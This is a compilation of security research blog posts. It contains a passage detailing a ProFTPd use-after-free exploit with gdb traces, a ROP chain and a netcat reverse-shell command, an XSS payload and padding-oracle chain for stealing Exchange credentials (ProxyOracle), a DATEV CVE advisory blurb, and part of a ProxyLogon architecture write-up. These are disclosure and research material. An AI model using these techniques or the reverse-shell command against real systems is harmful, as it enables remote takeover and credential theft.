  pr_table_entry_t *free_ents;
  pr_table_key_t *free_keys;
  pr_table_entry_t *tab_iter_ent;
  pr_table_entry_t *val_iter_ent;
  pr_table_entry_t *cache_ent;
  int (*keycmp)(const void *, size_t, const void *, size_t);
  unsigned int (*keyhash)(const void *, size_t);
  void (*entinsert)(pr_table_entry_t **, pr_table_entry_t *);
  void (*entremove)(pr_table_entry_t **, pr_table_entry_t *);
};

...

typedef struct table_rec pr_table_t;

As you can see after tab->pool (tab->flags, tab->seed and tab->nmaxents) there are no pointers so the string appended will not trigger crashes

So, what is the plan?

1) Craft a fake block_hdr structure that will be pointed to by p->last

2) Enter on fake_blok->h.first_avail a pointer to gid_tab minus some offset, where offset is depending on the number of allocations and their size, so when pstrdup() copies our arbitrary command, fake_blok->h.first_avail value is exactly the address of gid_tab to fit our address

3) Enter on p->sub_next the address of tab->chains so when pr_table_kget() is called, NULL is returned to make our arbitrary command being allocated.

4) Send a custom command with a fake pr_table_t, actually, just the tab->pool is needed, and point fake_tab->pool to a fake pool_rec struct

5) Craft the fake pool_rec struct, point fake_pool->parent, fake_pool->sub_next and fake_pool->sub_prev to any writable address, and fake_pool->cleanup to a fake cleanup_t struct containing our arbitrary RIP and RDI values

This is the result of exploiting the hijack technique:

*0x4242424242424242 (
   $rdi = 0x4141414141414141,
   $rsi = 0x0000000000000000,
   $rdx = 0x4242424242424242,
   $rcx = 0x0000555555579c00 → <entry_remove+0> endbr64 
)

As you can see c->plain_cleanup_cb has value 0x4242424242424242, and c->data has value 0x4141414141414141.

Which means RIP and RDI are fully controlled.

Getting RCE

As explained, our main target is reaching run_cleanups() function with an arbitrary address, or with a non-arbitrary address but controlling it’s content. This allow us to obtain full RIP and RDI control, which taking into account that we already have predictable addresses for every segment, means a Remote Code Execution is likely to be possible.

Some ways to obtain Remote Code Execution:

Stack pivot, ROP and shellcode execution

As we control both RIP and RDI, we could search for useful gadgets that would allow us to redirect control-flow using a ROPchain to bypass NX.

When reaching run_cleanups()

gef➤  p *c
$7 = {
  data = 0x563593915280,
  plain_cleanup_cb = 0x7f875ab201a1 <authnone_marshal+17>,
  child_cleanup_cb = 0x4141414141414141,
  next = 0x4242424242424242
}
gef➤  x/2i c->plain_cleanup_cb
   0x7f875ab201a1 <authnone_marshal+17>:	push   rdi
   0x7f875ab201a2 <authnone_marshal+18>:	pop    rsp
gef➤  

When entering on the stack pivot gadget:

 → 0x7f875ab201a1 <authnone_marshal+17> push   rdi
   0x7f875ab201a2 <authnone_marshal+18> pop    rsp
   0x7f875ab201a3 <authnone_marshal+19> lea    rsi, [rdi+0x48]
   0x7f875ab201a7 <authnone_marshal+23> mov    rdi, r8
   0x7f875ab201aa <authnone_marshal+26> mov    rax, QWORD PTR [rax+0x18]
   0x7f875ab201ae <authnone_marshal+30> jmp    rax

We crafted previously our resp_pool struct to point rax to the address where an address pointing near a ret instruction is stored. So when:

mov    rax, QWORD PTR [rax+0x18]

is executed, we get in rax the address, which will be used just on next instruction: jmp rax.

As it is near a ret instruction, we will finally execute our ROPchain as we pointed rsp right before our ROPchain, and a ret instruction just got executed.

gef➤  p $rax
$5 = 0x563593915358
gef➤  x/gx $rax + 0x18
0x563593915370:	0x00007f875a9fc679
gef➤  x/i 0x00007f875a9fc679
   0x7f875a9fc679 <__libgcc_s_init+61>:	ret 

At the time of jmp rax:

   0x7f875ab201a3 <authnone_marshal+19> lea    rsi, [rdi+0x48]
   0x7f875ab201a7 <authnone_marshal+23> mov    rdi, r8
   0x7f875ab201aa <authnone_marshal+26> mov    rax, QWORD PTR [rax+0x18]
 → 0x7f875ab201ae <authnone_marshal+30> jmp    rax
   0x7f875ab201b0 <authnone_marshal+32> xor    eax, eax
   0x7f875ab201b2 <authnone_marshal+34> ret    

--------------------------------------------------------------

gef➤  p $rax
$6 = 0x7f875a9fc679
gef➤  x/i $rax
   0x7f875a9fc679 <__libgcc_s_init+61>:	ret 

And we can see stack was pivoted successfully:

gef➤  p $rsp
$7 = (void *) 0x563593915358
gef➤  x/gx 0x563593915358
0x563593915358:	0x00007f875aa21550
gef➤  x/i 0x00007f875aa21550
   0x7f875aa21550 <mblen+112>:	pop    rax

ROPchain will setup a syscall call to SYS_mprotect, which will change memory protection for a heap range to RXW. Then, we will jump into the shellcode, thus finally achieving Remote Code Execution

If we check the mappings with gdb we can see that part of the heap is now RWX, which is actually where the shellcode resides:

0x0000563593889000 0x00005635938cb000 0x0000000000000000 rw- [heap]
0x00005635938cb000 0x0000563593915000 0x0000000000000000 rw- [heap]
0x0000563593915000 0x0000563593916000 0x0000000000000000 rwx [heap]
0x0000563593916000 0x000056359394e000 0x0000000000000000 rw- [heap]

Now we are jumping to shellcode, as it now resides on executable memory, so Remote Code Execution succeed:

   0x7f875aa3d229 <funlockfile+73> syscall 
 → 0x7f875aa3d22b <funlockfile+75> ret    
   ↳  0x563593915310                  push   0x29
      0x563593915312                  pop    rax
      0x563593915313                  push   0x2
      0x563593915315                  pop    rdi
      0x563593915316                  push   0x1
      0x563593915318                  pop    rsi

Chaining all this together into an exploit, this is an screenshot of the successful exploitation of this vulnerability using the ROP approach:

Demo

ret2libc or ret2X

You can jump to any function and control one argument, this means you can call any function with an arbitrary argument. You can reuse register values for other arguments aswell, but you rely on current registers to be valid for target function, eg.: an invalid pointer would trigger a crash

The approach I followed with this method is calling system() and pointing RDI to a custom command string (netcat reverse shell) I leave in heap with a predictable address.

First we reach destroy_pool() with the fake pool_rec struct, actually we reuse entries from our initially controlled struct:

gef➤  p *p
$1 = {
  first = 0x563f5c9c6280,
  last = 0x7361626174614472,
  cleanups = 0x563f5c9a62d0,
  sub_pools = 0x563f5c9a6298,
  sub_next = 0x563f5c9a62a0,
  sub_prev = 0x563f5c9a0a90,
  parent = 0x563f5c94a738,
  free_first_avail = 0x563f5c94a7e0 "\260\251\224\\?V",
  tag = 0x563f5c9a526e ""
}
gef➤  p *resp_pool
$2 = {
  first = 0x563f5c9a62d0,
  last = 0x563f5c9a6298,
  cleanups = 0x563f5c9a62a0,
  sub_pools = 0x563f5c9a0a90,
  sub_next = 0x563f5c94a738,
  sub_prev = 0x563f5c94a7e0,
  parent = 0x563f5c9a526e,
  free_first_avail = 0x563f5c9a526e "",
  tag = 0x563f5c9a526e ""
}

Then, destroy_pool() is going to call clear_pool(), which finally ends up calling run_cleanups() with our fake cleanup_t struct, pointed to by p->cleanups:

gef➤  p *c
$3 = {
  data = 0x563f5c9a62f0,
  plain_cleanup_cb = 0x7fca503f1410 <__libc_system>,
  child_cleanup_cb = 0x4141414141414141,
  next = 0x4242424242424242
}
gef➤  x/s c->data
0x563f5c9a62f0:	"nc -e/bin/bash 127.0.0.1 4444"

As we can see c->plain_cleanup_cb (future RIP) points to __libc_system(), and c->data points to our command string stored on heap

The result if we continue, is the execution of a new process as part of the command execution: process 35209 is executing new program: /usr/bin/ncat

And finally obtaining a reverse shell as the user you logged in with into the FTP server.

Demo

RCE Video Demo also available on GitHub (same directory where the exploit resides)

Patch

You can find the GitHub issue and patches for this vulnerability here.

Conclusion

On this post we analyzed and demonstrated exploitation for a Use-After-Free in ProFTPd, and could get full Remote Code Execution even with all the protections turned on (ASLR, PIE, NX, RELRO, STACKGUARD etc)

Perhaps authentication is needed, this is sometimes a situation an attacker has, but can not go forward without a RCE exploit like this.

You can find the ROP approach exploit here.

You can find the other exploit using system() and netcat here.

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Schwachstelle in Datev

CVE CVE-2021-41428 Verwundbare Software Sowohl der Update-Manager bis Version 5.8.0.2300, als auch DFL bis zur Version 12.5.1001.5 sind von dieser Schwachstelle betroffen. Schwachstelle Eine unzureichende Konfiguration des Dienstes erlaubt eine Erweiterung der Rechte auf System-Ebene. Zeitlinie 22.06.2021 Hersteller informiert 24.06.2021 Terminvereinbarung für Rückfragen 05.07.2021 Rückfragen und weiteres Vorgehen 01.08.2021 Update 16.08.2021 Veröffentlichung Referenzen DATEV Help […]

ProxyLogon 僅僅只是冰山一角,一個針對 Microsoft Exchange Server 的全新攻擊面!

Microsoft Exchange Server 作為當今世界上最常見的郵件解決方案,已經幾乎是企業以及政府每日工作與維繫安全不可或缺的一部分!在今年一月,我們回報了一系列的 Exchange Server 漏洞給 Microsoft,並且將這個漏洞它命名為 ProxyLogon,相信如果您有在關注業界新聞,一定也聽過這個名字!ProxyLogon 也許是 Exchange 歷史上最嚴重、影響力也最大的一個漏洞!

隨著更深入的從架構層去研究 ProxyLogon,我們發現它不僅僅只是一個漏洞,而是一整個新的、沒有人提過的攻擊面可讓駭客或安全研究員去挖掘更多的漏洞。因此我們專注深入研究這個攻擊面,並從中發現了至少八個漏洞,這些漏洞涵蓋了伺服器端、客戶端,甚至密碼學漏洞,我們並將這些漏洞組合成了三個攻擊鏈:

  1. ProxyLogon: 最知名、影響力也最大的 Exchange 攻擊鏈
  2. ProxyOracle: 一個可以還原任意 Exchange 使用者明文密碼的攻擊鏈
  3. ProxyShell: 我們在 Pwn2Own 2021 上展示打掉 Exchange 的攻擊鏈

所有我們找到的漏洞都是邏輯漏洞,這代表相較於記憶體毀損類型的漏洞,這些漏洞更容易被重現以及利用,我們也將成果發表至 Black Hat USADEFCON 上,也同時獲得了 2021 Pwnie Awards 年度 Best Server-Side Bug 獎項,如果你有興趣的話可以從這邊下載會議的投影片!

  • ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [投影片] [影片]

本次提及的漏洞皆經過負責任的漏洞接露程序回報給微軟、並獲得修復,您可以從下面這張圖查看詳細的漏洞編號及回報時間表。

Report Time Name CVE Patch Time CAS[1] Reported By
Jan 05, 2021 ProxyLogon CVE-2021-26855 Mar 02, 2021 Yes Orange Tsai, Volexity and MSTIC
Jan 05, 2021 ProxyLogon CVE-2021-27065 Mar 02, 2021 - Orange Tsai, Volexity and MSTIC
Jan 17, 2021 ProxyOracle CVE-2021-31196 Jul 13, 2021 Yes Orange Tsai
Jan 17, 2021 ProxyOracle CVE-2021-31195 May 11, 2021 - Orange Tsai
Apr 02, 2021 ProxyShell[2] CVE-2021-34473 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-34523 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-31207 May 11, 2021 - Orange Tsai working with ZDI
Jun 02, 2021 - - - Yes Orange Tsai
Jun 02, 2021 - CVE-2021-33768 Jul 13, 2021 - Orange Tsai and Dlive

[1] Bugs relate to this new attack surface direclty
[2] Pwn2Own 2021 bugs

更詳盡的技術細節我們已陸續公布,後續連結會持續更新於本文,敬請期待:

A New Attack Surface on MS Exchange Part 2 - ProxyOracle!

Hi, this is the part 2 of the New MS Exchange Attack Surface. Because this article refers to several architecture introductions and attack surface concepts in the previous article, you could find the first piece here:

This time, we will be introducing ProxyOracle. Compared with ProxyLogon, ProxyOracle is an interesting exploit with a different approach. By simply leading a user to visit a malicious link, ProxyOracle allows an attacker to recover the user’s password in plaintext format completely. ProxyOracle consists of two vulnerabilities:

Where is ProxyOracle

So where is ProxyOracle? Based on the CAS architecture we introduced before, the Frontend of CAS will first serialize the User Identity to a string and put it in the header of X-CommonAccessToken. The header will be merged into the client’s HTTP request and sent to the Backend later. Once the Backend receives, it deserializes the header back to the original User Identity in Frontend.

We now know how the Frontend and Backend synchronize the User Identity. The next is to explain how the Frontend knows who you are and processes your credentials. The Outlook Web Access (OWA) uses a fancy interface to handle the whole login mechanism, which is called Form-Based Authentication (FBA). The FBA is a special IIS module that inherits the ProxyModule and is responsible for executing the transformation between the credentials and cookies before entering the proxy logic.

The FBA Mechanism

HTTP is a stateless protocol. To keep your login state, FBA saves the username and password in cookies. Every time you visit the OWA, Exchange will parse the cookies, retrieve the credential and try to log in with that. If the login succeed, Exchange will serialize your User Identity into a string, put it into the header of X-CommonAccessToken, and forward it to the Backend

HttpProxy\FbaModule.cs

protected override void OnBeginRequestInternal(HttpApplication httpApplication) {

    httpApplication.Context.Items["AuthType"] = "FBA";
    if (!this.HandleFbaAuthFormPost(httpApplication)) {
        try {
            this.ParseCadataCookies(httpApplication);
        } catch (MissingSslCertificateException) {
            NameValueCollection nameValueCollection = new NameValueCollection();
            nameValueCollection.Add("CafeError", ErrorFE.FEErrorCodes.SSLCertificateProblem.ToString());
            throw new HttpException(302, AspNetHelper.GetCafeErrorPageRedirectUrl(httpApplication.Context, nameValueCollection));
        }
    }
    base.OnBeginRequestInternal(httpApplication);
}

All the cookies are encrypted to ensure even if an attacker can hijack the HTTP request, he/she still couldn’t get your credential in plaintext format. FBA leverages 5 special cookies to accomplish the whole de/encryption process:

  • cadata - The encrypted username and password
  • cadataTTL - The Time-To-Live timestamp
  • cadataKey - The KEY for encryption
  • cadataIV - The IV for encryption
  • cadataSig - The signature to prevent tampering

The encryption logic will first generate two 16 bytes random strings as the IV and KEY for the current session. The username and password will then be encoded with Base64, encrypted by the algorithm AES and sent back to the client within cookies. Meanwhile, the IV and KEY will be sent to the user, too. To prevent the client from decrypting the credential by the known IV and KEY directly, Exchange will once again use the algorithm RSA to encrypt the IV and KEY via its SSL certificate private key before sending out!

Here is a Pseudo Code for the encryption logic:

 @key = GetServerSSLCert().GetPrivateKey()
 cadataSig = RSA(@key).Encrypt("Fba Rocks!")
 cadataIV  = RSA(@key).Encrypt(GetRandomBytes(16))
 cadataKey = RSA(@key).Encrypt(GetRandomBytes(16))

 @timestamp = GetCurrentTimestamp()
 cadataTTL  = AES_CBC(cadataKey, cadataIV).Encrypt(@timestamp)

 @blob  = "Basic " + ToBase64String(UserName + ":" + Password)
 cadata = AES_CBC(cadataKey, cadataIV).Encrypt(@blob)

The Exchange takes CBC as its padding mode. If you are familiar with Cryptography, you might be wondering whether the CBC mode here is vulnerable to the Padding Oracle Attack? Bingo! As a matter of fact, Padding Oracle Attack is still existing in such essential software like Exchange in 2021!

CVE-2021-31196 - The Padding Oracle

When there is something wrong with the FBA, Exchange attaches an error code and redirects the HTTP request back to the original login page. So where is the Oracle? In the cookie decryption, Exchange uses an exception to catch the Padding Error, and because of the exception, the program returned immediately so that error code number is 0, which means None:

Location: /OWA/logon.aspx?url=…&reason=0

In contrast with the Padding Error, if the decryption is good, Exchange will continue the authentication process and try to login with the corrupted username and password. At this moment, the result must be a failure and the error code number is 2, which represents InvalidCredntials:

Location: /OWA/logon.aspx?url=…&reason=2

The diagram looks like:

With the difference, we now have an Oracle to identify whether the decryption process is successful or not.

HttpProxy\FbaModule.cs

private void ParseCadataCookies(HttpApplication httpApplication)
{
    HttpContext context = httpApplication.Context;
    HttpRequest request = context.Request;
    HttpResponse response = context.Response;
    
    string text = request.Cookies["cadata"].Value;    
    string text2 = request.Cookies["cadataKey"].Value;    
    string text3 = request.Cookies["cadataIV"].Value;    
    string text4 = request.Cookies["cadataSig"].Value;    
    string text5 = request.Cookies["cadataTTL"].Value;
    
    // ...
    RSACryptoServiceProvider rsacryptoServiceProvider = (x509Certificate.PrivateKey as RSACryptoServiceProvider);
    
    byte[] array = null;
    byte[] array2 = null;
    byte[] rgb2 = Convert.FromBase64String(text2);
    byte[] rgb3 = Convert.FromBase64String(text3);
    array = rsacryptoServiceProvider.Decrypt(rgb2, true);
    array2 = rsacryptoServiceProvider.Decrypt(rgb3, true);
    
    // ...
    
    using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider()) {
        aesCryptoServiceProvider.Key = array;
        aesCryptoServiceProvider.IV = array2;
        
        using (ICryptoTransform cryptoTransform2 = aesCryptoServiceProvider.CreateDecryptor()) {
            byte[] bytes2 = null;
            try {
                byte[] array5 = Convert.FromBase64String(text);
                bytes2 = cryptoTransform2.TransformFinalBlock(array5, 0, array5.Length);
            } catch (CryptographicException ex8) {
                if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
                    ExTraceGlobals.VerboseTracer.TraceDebug<CryptographicException>((long)this.GetHashCode(), "[FbaModule::ParseCadataCookies] Received CryptographicException {0} transforming auth", ex8);
                }
                httpApplication.Response.AppendToLog("&CryptoError=PossibleSSLCertrolloverMismatch");
                return;
            } catch (FormatException ex9) {
                if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
                    ExTraceGlobals.VerboseTracer.TraceDebug<FormatException>((long)this.GetHashCode(), "[FbaModule::ParseCadataCookies] Received FormatException {0} decoding caData auth", ex9);
                }
                httpApplication.Response.AppendToLog("&DecodeError=InvalidCaDataAuthCookie");
                return;
            }
            string @string = Encoding.Unicode.GetString(bytes2);
            request.Headers["Authorization"] = @string;
        }
    }
}

It should be noted that since the IV is encrypted with the SSL certificate private key, we can’t recover the first block of the ciphertext through XOR. But it wouldn’t cause any problem for us because the C# internally processes the strings as UTF-16, so the first 12 bytes of the ciphertext must be B\x00a\x00s\x00i\x00c\x00 \x00. With one more Base64 encoding applied, we will only lose the first 1.5 bytes in the username field.

(16−6×2) ÷ 2 × (3/4) = 1.5

The Exploit

As of now, we have a Padding Oracle that allows us to decrypt any user’s cookie. BUT, how can we get the client cookies? Here we find another vulnerability to chain them together.

XSS to Steal Client Cookies

We discover an XSS (CVE-2021-31195) in the CAS Frontend (Yeah, CAS again) to chain together, the root cause of this XSS is relatively easy: Exchange forgets to sanitize the data before printing it out so that we can use the \ to escape from the JSON format and inject arbitrary JavaScript code.

https://exchange/owa/auth/frowny.aspx
?app=people
&et=ServerError
&esrc=MasterPage
&te=\
&refurl=}}};alert(document.domain)//

But here comes another question: all the sensitive cookies are protected by the HttpOnly flag, which makes us unable to access the cookies by JavaScript. WHAT SHOULD WE DO?

Bypass the HttpOnly

As we could execute arbitrary JavaScript on browsers, why don’t we just insert the SSRF cookie we used in ProxyLogon? Once we add this cookie and assign the Backend target value as our malicious server, Exchange will become a proxy between the victims and us. We can then take over all the client’s HTTP static resources and get the protected HttpOnly cookies!

By chaining bugs together, we have an elegant exploit that can steal any user’s cookies by just sending him/her a malicious link. What’s noteworthy is that the XSS here is only helping us to steal the cookie, which means all the decryption processes wouldn’t require any authentication and user interaction. Even if the user closes the browser, it wouldn’t affect our Padding Oracle Attack!

Here is the demonstration video showing how we recover the victim’s password:

A New Attack Surface on MS Exchange Part 1 - ProxyLogon!

The series of A New Attack Surface on MS Exchange:

Microsoft Exchange, as one of the most common email solutions in the world, has become part of the daily operation and security connection for governments and enterprises. This January, we reported a series of vulnerabilities of Exchange Server to Microsoft and named it as ProxyLogon. ProxyLogon might be the most severe and impactful vulnerability in the Exchange history ever. If you were paying attention to the industry news, you must have heard it.

While looking into ProxyLogon from the architectural level, we found it is not just a vulnerability, but an attack surface that is totally new and no one has ever mentioned before. This attack surface could lead the hackers or security researchers to more vulnerabilities. Therefore, we decided to focus on this attack surface and eventually found at least 8 vulnerabilities. These vulnerabilities cover from server side, client side, and even crypto bugs. We chained these vulnerabilities into 3 attacks:

  1. ProxyLogon: The most well-known and impactful Exchange exploit chain
  2. ProxyOracle: The attack which could recover any password in plaintext format of Exchange users
  3. ProxyShell: The exploit chain we demonstrated at Pwn2Own 2021 to take over Exchange and earn $200,000 bounty

I would like to highlight that all vulnerabilities we unveiled here are logic bugs, which means they could be reproduced and exploited more easily than any memory corruption bugs. We have presented our research at Black Hat USA and DEFCON, and won the Best Server-Side bug of Pwnie Awards 2021. You can check our presentation materials here:

  • ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [Slides] [Video]

By understanding the basics of this new attack surface, you won’t be surprised why we can pop out 0days easily!

Intro

I would like to state that all the vulnerabilities mentioned have been reported via the responsible vulnerability disclosure process and patched by Microsoft. You could find more detail of the CVEs and the report timeline from the following table.

Report Time Name CVE Patch Time CAS[1] Reported By
Jan 05, 2021 ProxyLogon CVE-2021-26855 Mar 02, 2021 Yes Orange Tsai, Volexity and MSTIC
Jan 05, 2021 ProxyLogon CVE-2021-27065 Mar 02, 2021 - Orange Tsai, Volexity and MSTIC
Jan 17, 2021 ProxyOracle CVE-2021-31196 Jul 13, 2021 Yes Orange Tsai
Jan 17, 2021 ProxyOracle CVE-2021-31195 May 11, 2021 - Orange Tsai
Apr 02, 2021 ProxyShell[2] CVE-2021-34473 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-34523 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-31207 May 11, 2021 - Orange Tsai working with ZDI
Jun 02, 2021 - - - Yes Orange Tsai
Jun 02, 2021 - CVE-2021-33768 Jul 13, 2021 - Orange Tsai and Dlive

[1] Bugs relate to this new attack surface direclty
[2] Pwn2Own 2021 bugs

Why did Exchange Server become a hot topic? From my point of view, the whole ProxyLogon attack surface is actually located at an early stage of Exchange request processing. For instance, if the entrance of Exchange is 0, and 100 is the core business logic, ProxyLogon is somewhere around 10. Again, since the vulnerability is located at the beginning place, I believe anyone who has reviewed the security of Exchange carefully would spot the attack surface. This was also why I tweeted my worry about bug collision after reporting to Microsoft. The vulnerability was so impactful, yet it’s a simple one and located at such an early stage.

You all know what happened next, Volexity found that an APT group was leveraging the same SSRF (CVE-2021-26855) to access users’ emails in early January 2021 and reported to Microsoft. Microsoft also released the urgent patches in March. From the public information released afterwards, we found that even though they used the same SSRF, the APT group was exploiting it in a very different way from us. We completed the ProxyLogon attack chain through CVE-2021-27065, while the APT group used EWS and two unknown vulnerabilities in their attack. This has convinced us that there is a bug collision on the SSRF vulnerability.

Image from Microsoft Blog

Regarding the ProxyLogon PoC we reported to MSRC appeared in the wild in late February, we were as curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation. With a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft. Maybe you would be interested in learning some interesting stories from here.

Why targeting on Exchange Server?

Mail server is a highly valuable asset that holds the most confidential secrets and corporate data. In other words, controlling a mail server means controlling the lifeline of a company. As the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.

Normally, I will review the existing papers and bugs before starting a research. Among the whole Exchange history, is there any interesting case? Of course. Although most vulnerabilities are based on known attack vectors, such as the deserialization or bad input validation, there are still several bugs that are worth mentioning.

The most special

The most special one is the arsenal from Equation Group in 2017. It’s the only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003. If the arsenal leak happened earlier, it could end up with another nuclear-level crisis.

The most interesting

The most interesting one is CVE-2018-8581 disclosed by someone who cooperated with ZDI. Though it was simply an SSRF, with the feature, it could be combined with NTLM Relay, the attacker could turn a boring SSRF into something really fancy. For instance, it could directly control the whole Domain Controller through a low privilege account.

The most surprising

The most surprising one is CVE-2020-0688, which was also disclosed by someone working with ZDI. The root cause of this bug is due to a hard-coded cryptographic key in Microsoft Exchange. With this hard-coded key, an attacker with low privilege can take over the whole Exchange Server. And as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.

Where is the new attack surface

Exchange is a very sophisticated application. Since 2000, Exchange has released a new version every 3 years. Whenever Exchange releases a new version, the architecture changes a lot and becomes different. The changes of architecture and iterations make it difficult to upgrade an Exchange Server. In order to ensure the compatibility between the new architecture and old ones, several design debts were incurred to Exchange Server and led to the new attack surface we found.

Where did we focus at Microsoft Exchange? We focused on the Client Access Service, CAS. CAS is a fundamental component of Exchange. Back to the version 2000/2003, CAS was an independent Frontend Server in charge of all the Frontend web rendering logics. After several renaming, integrating, and version differences, CAS has been downgraded to a service under the Mailbox Role. The official documentation from Microsoft indicates that:

Mailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server

From the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared.

The CAS architecture

CAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it’s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding Backend Service. As a Web Security researcher, I focused on the Web implementation of CAS.

The CAS web is built on Microsoft IIS. As you can see, there are two websites inside the IIS. The “Default Website” is the Frontend we mentioned before, and the “Exchange Backend” is where the business logic is. After looking into the configuration carefully, we notice that the Frontend is binding with ports 80 and 443, and the Backend is listening on ports 81 and 444. All the ports are binding with 0.0.0.0, which means anyone could access the Frontend and Backend of Exchange directly. Wouldn’t it be dangerous? Please keep this question in mind and we will answer that later.

Exchange implements the logic of Frontend and Backend via IIS module. There are several modules in Frontend and Backend to complete different tasks, such as the filter, validation, and logging. The Frontend must contain a Proxy Module. The Proxy Module picks up the HTTP request from the client side and adds some internal settings, then forwards the request to the Backend. As for the Backend, all the applications include the Rehydration Module, which is in charge of parsing Frontend requests, populating the client information back, and continuing to process the business logic. Later we will be elaborating how Proxy Module and Rehydration Module work.

Frontend Proxy Module

Proxy Module chooses a handler based on the current ApplicationPath to process the HTTP request from the client side. For instance, visiting /EWS will use EwsProxyRequestHandler, as for /OWA will trigger OwaProxyRequestHandler. All the handlers in Exchange inherit the class from ProxyRequestHandler and implement its core logic, such as how to deal with the HTTP request from the user, which URL from Backend to proxy to, and how to synchronize the information with the Backend. The class is also the most centric part of the whole Proxy Module, we will separate ProxyRequestHandler into 3 sections:

Frontend Reqeust Section

The Request section will parse the HTTP request from the client and determine which cookie and header could be proxied to the Backend. Frontend and Backend relied on HTTP Headers to synchronize information and proxy internal status. Therefore, Exchange has defined a blacklist to avoid some internal Headers being misused.

HttpProxy\ProxyRequestHandler.cs

protected virtual bool ShouldCopyHeaderToServerRequest(string headerName) {
  return !string.Equals(headerName, "X-CommonAccessToken", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-IsFromCafe", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-SourceCafeServer", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "msExchProxyUri", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-MSExchangeActivityCtx", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "return-client-request-id", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-Forwarded-For", OrdinalIgnoreCase) 
      && (!headerName.StartsWith("X-Backend-Diag-", OrdinalIgnoreCase) 
      || this.ClientRequest.GetHttpRequestBase().IsProbeRequest());
}

In the last stage of Request, Proxy Module will call the method AddProtocolSpecificHeadersToServerRequest implemented by the handler to add the information to be communicated with the Backend in the HTTP header. This section will also serialize the information from the current login user and put it in a new HTTP header X-CommonAccessToken, which will be forwarded to the Backend later.

For instance, If I log into Outlook Web Access (OWA) with the name Orange, the X-CommonAccessToken that Frontend proxy to Backend will be:

Frontend Proxy Section

The Proxy Section first uses the GetTargetBackendServerURL method to calculate which Backend URL should the HTTP request be forwarded to. Then initialize a new HTTP Client request with the method CreateServerRequest.

HttpProxy\ProxyRequestHandler.cs

protected HttpWebRequest CreateServerRequest(Uri targetUrl) {
    HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(targetUrl);
    if (!HttpProxySettings.UseDefaultWebProxy.Value) {
        httpWebRequest.Proxy = NullWebProxy.Instance;
    }
    httpWebRequest.ServicePoint.ConnectionLimit = HttpProxySettings.ServicePointConnectionLimit.Value;
    httpWebRequest.Method = this.ClientRequest.HttpMethod;
    httpWebRequest.Headers["X-FE-ClientIP"] = ClientEndpointResolver.GetClientIP(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-Forwarded-For"] = ClientEndpointResolver.GetClientProxyChainIPs(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-Forwarded-Port"] = ClientEndpointResolver.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-MS-EdgeIP"] = Utilities.GetEdgeServerIpAsProxyHeader(SharedHttpContextWrapper.GetWrapper(this.HttpContext).Request);
    
    // ...
    
    return httpWebRequest;
}

Exchange will also generate a Kerberos ticket via the HTTP Service-Class of the Backend and put it in the Authorization header. This header is designed to prevent anonymous users from accessing the Backend directly. With the Kerberos Ticket, the Backend could validate the access from the Frontend.

HttpProxy\ProxyRequestHandler.cs

if (this.ProxyKerberosAuthentication) {
    serverRequest.ConnectionGroupName = this.ClientRequest.UserHostAddress + ":" + GccUtils.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
} else if (this.AuthBehavior.AuthState == AuthState.BackEndFullAuth || this.
    ShouldBackendRequestBeAnonymous() || (HttpProxySettings.TestBackEndSupportEnabled.Value  
    && !string.IsNullOrEmpty(this.ClientRequest.Headers["TestBackEndUrl"]))) {
    serverRequest.ConnectionGroupName = "Unauthenticated";
} else {
    serverRequest.Headers["Authorization"] = KerberosUtilities.GenerateKerberosAuthHeader(
        serverRequest.Address.Host, this.TraceContext, 
        ref this.authenticationContext, ref this.kerberosChallenge);
}

HttpProxy\KerberosUtilities.cs

internal static string GenerateKerberosAuthHeader(string host, int traceContext, ref AuthenticationContext authenticationContext, ref string kerberosChallenge) {
    byte[] array = null;
    byte[] bytes = null;
    // ...
    authenticationContext = new AuthenticationContext();
    string text = "HTTP/" + host;
    authenticationContext.InitializeForOutboundNegotiate(AuthenticationMechanism.Kerberos, text, null, null);
    SecurityStatus securityStatus = authenticationContext.NegotiateSecurityContext(inputBuffer, out bytes);
    // ...
    string @string = Encoding.ASCII.GetString(bytes);
    return "Negotiate " + @string;
}

Therefore, a Client request proxied to the Backend will be added with several HTTP Headers for internal use. The two most essential Headers are X-CommonAccessToken, which indicates the mail users’ log in identity, and Kerberos Ticket, which represents legal access from the Frontend.

